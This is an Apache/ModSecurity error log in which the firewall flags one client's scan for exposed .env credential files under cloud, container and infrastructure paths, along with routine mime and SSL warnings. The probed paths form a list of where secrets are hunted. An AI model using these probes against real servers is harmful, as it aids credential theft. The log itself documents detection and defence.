[Fri Jul 17 09:15:16.577565 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlTLEWOaI5pmYo9fnSIAAAAAA"]
[Fri Jul 17 09:15:16.727233 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:16.727325 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:16.727349 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:16.727373 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:16.727395 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:16.727414 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:16.727432 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:16.727450 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:16.727473 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:16.727495 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:16.727513 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:16.727536 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:16.727555 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:16.727586 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:16.727621 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:16.727655 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:16.759427 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/aws/.env"] [unique_id "almlTIl9vhFBGA6D8l99fgAAAAw"]
[Fri Jul 17 09:15:16.761363 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/aws/.env"] [unique_id "almlTIl9vhFBGA6D8l99fgAAAAw"]
[Fri Jul 17 09:15:16.929159 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:16.953805 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlTIl9vhFBGA6D8l99fgAAAAw"]
[Fri Jul 17 09:15:17.100304 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:53704] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:17.125135 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /azure/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/azure/.env"] [unique_id "almlTQ7FYe46zHK_jL3TJQAAABk"]
[Fri Jul 17 09:15:17.126919 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/azure/.env"] [unique_id "almlTQ7FYe46zHK_jL3TJQAAABk"]
[Fri Jul 17 09:15:17.367692 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlTQ7FYe46zHK_jL3TJQAAABk"]
[Fri Jul 17 09:15:17.442212 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:17.540033 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /gcp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/gcp/.env"] [unique_id "almlTUkXT4NBqALj2laAKQAAABA"]
[Fri Jul 17 09:15:17.542027 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/gcp/.env"] [unique_id "almlTUkXT4NBqALj2laAKQAAABA"]
[Fri Jul 17 09:15:17.794172 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlTUkXT4NBqALj2laAKQAAABA"]
[Fri Jul 17 09:15:18.044469 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cloud/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/cloud/.env"] [unique_id "almlTo1dLClkUfK_dfHoGQAAAAI"]
[Fri Jul 17 09:15:18.045668 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/cloud/.env"] [unique_id "almlTo1dLClkUfK_dfHoGQAAAAI"]
[Fri Jul 17 09:15:18.086284 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:53814] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:18.285541 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlTo1dLClkUfK_dfHoGQAAAAI"]
[Fri Jul 17 09:15:18.455772 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infrastructure/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/infrastructure/.env"] [unique_id "almlTol9vhFBGA6D8l99ggAAAAw"]
[Fri Jul 17 09:15:18.457089 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/infrastructure/.env"] [unique_id "almlTol9vhFBGA6D8l99ggAAAAw"]
[Fri Jul 17 09:15:18.685947 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlTol9vhFBGA6D8l99ggAAAAw"]
[Fri Jul 17 09:15:18.855453 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/docker/.env"] [unique_id "almlTroj0IkvhSCYadmFDAAAAAQ"]
[Fri Jul 17 09:15:18.856711 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/docker/.env"] [unique_id "almlTroj0IkvhSCYadmFDAAAAAQ"]
[Fri Jul 17 09:15:19.176124 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlTroj0IkvhSCYadmFDAAAAAQ"]
[Fri Jul 17 09:15:19.357475 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /k8s/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/k8s/.env"] [unique_id "almlT41dLClkUfK_dfHoGwAAAAI"]
[Fri Jul 17 09:15:19.358913 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/k8s/.env"] [unique_id "almlT41dLClkUfK_dfHoGwAAAAI"]
[Fri Jul 17 09:15:19.530331 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:53902] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:19.631898 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlT41dLClkUfK_dfHoGwAAAAI"]
[Fri Jul 17 09:15:19.802241 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/kubernetes/.env"] [unique_id "almlT614q1EBnanVMYGnTAAAAAk"]
[Fri Jul 17 09:15:19.803529 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/kubernetes/.env"] [unique_id "almlT614q1EBnanVMYGnTAAAAAk"]
[Fri Jul 17 09:15:20.046270 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlT614q1EBnanVMYGnTAAAAAk"]
[Fri Jul 17 09:15:20.214510 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /terraform/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/terraform/.env"] [unique_id "almlUDsMb3am0TgkjETeEAAAAAo"]
[Fri Jul 17 09:15:20.215761 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/terraform/.env"] [unique_id "almlUDsMb3am0TgkjETeEAAAAAo"]
[Fri Jul 17 09:15:20.390452 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlUDsMb3am0TgkjETeEAAAAAo"]
[Fri Jul 17 09:15:20.558382 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ansible/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/ansible/.env"] [unique_id "almlUI1dLClkUfK_dfHoHAAAAAI"]
[Fri Jul 17 09:15:20.559590 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/ansible/.env"] [unique_id "almlUI1dLClkUfK_dfHoHAAAAAI"]
[Fri Jul 17 09:15:20.777904 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlUI1dLClkUfK_dfHoHAAAAAI"]
[Fri Jul 17 09:15:20.946716 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.git/.env"] [unique_id "almlUIl9vhFBGA6D8l99hQAAAAw"]
[Fri Jul 17 09:15:20.947921 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.git/.env"] [unique_id "almlUIl9vhFBGA6D8l99hQAAAAw"]
[Fri Jul 17 09:15:21.045786 2026] [security2:error] [pid 2018768:tid 2018768] [client 46.246.88.142:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/admin/index.php"] [unique_id "almlUVCBpfuYyhJ140vWBgAAAB4"]
[Fri Jul 17 09:15:21.046380 2026] [security2:error] [pid 2018768:tid 2018768] [client 46.246.88.142:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/admin/index.php"] [unique_id "almlUVCBpfuYyhJ140vWBgAAAB4"]
[Fri Jul 17 09:15:21.046693 2026] [security2:error] [pid 2018768:tid 2018768] [client 46.246.88.142:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/admin/index.php"] [unique_id "almlUVCBpfuYyhJ140vWBgAAAB4"]
